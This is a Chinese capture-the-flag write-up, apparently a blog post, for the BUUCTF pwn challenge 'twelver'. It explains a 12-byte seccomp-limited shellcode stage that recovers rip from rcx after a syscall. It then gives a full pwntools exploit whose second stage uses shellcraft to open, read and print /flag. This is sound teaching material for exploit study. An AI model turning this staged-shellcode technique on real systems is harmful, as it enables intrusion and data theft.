[BUUCTF-pwn] cscctf_2019_qual_twelver

如果读rip

这题去执行shellcode跟版本和保护都没关系,先看程序

  src[0] = 0x3148DB3148C03148LL;  //xor rax,rax ....除rip外所有
  src[1] = 0x48F63148D23148C9LL;
  src[2] = 0xE43148ED3148FF31LL;
  src[3] = 0x314DC9314DC0314DLL;
  src[4] = 0x4DE4314DDB314DD2LL;
  src[5] = 0xFF314DF6314DED31LL;
  v5 = 0;
  dest = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);  //写入可写可执行段
  memcpy(dest, src, 0x30uLL);
  write(1, "Shellcode > ", 0xCuLL);  
  read(0, dest + 48, 0xCuLL);     //读入12字节到src后边
  setup_seccomp();                //关掉execve
  ((void (*)(void))dest)();       //从src开始执行
  exit(0);

程序很短也很简单(因为难点不在这)

  1. 先申请一个可写可执行的块,然后把一些shellcode写进去
  2. shellcode的内容是清掉除rip的寄存器
  3. 读入12字节到shellcode后边
  4. 关闭execve
  5. 开始执行

对策也很简单,由于只能写入12字节,这时寄存器又都是0,所以先要用12字节获取当前地址,最重要的是恢复rsp,然后读后续shellcode进来。

这里有个坑,rip是仅存的寄存器,但rip是不可读的,这里有个rcx, 

read(0,0,0)后返回rip的值到rcx。

所以这就好办了,shellcode分3部分:

  1. syscall  执行完后rcx会有rip的值
  2. 用rcx填充rsi,rsp 然后read后续shellcode
  3. 用shellcraft作ORW

完整exp:

from pwn import *

context(arch = 'amd64',log_level = 'debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26292) 

payload1 = asm('syscall; mov dh,0x100>>8; mov rsi,rcx; mov rsp,rcx; syscall').ljust(0xc, b'\x90')
p.sendafter(b' > ', payload1)
sleep(0.1)
payload2 = b'\x90'*0x10 + asm(shellcraft.open('/flag') + shellcraft.read(3,'rsp',0x100) + shellcraft.write(1,'rsp',0x100))
p.send(payload2)

p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值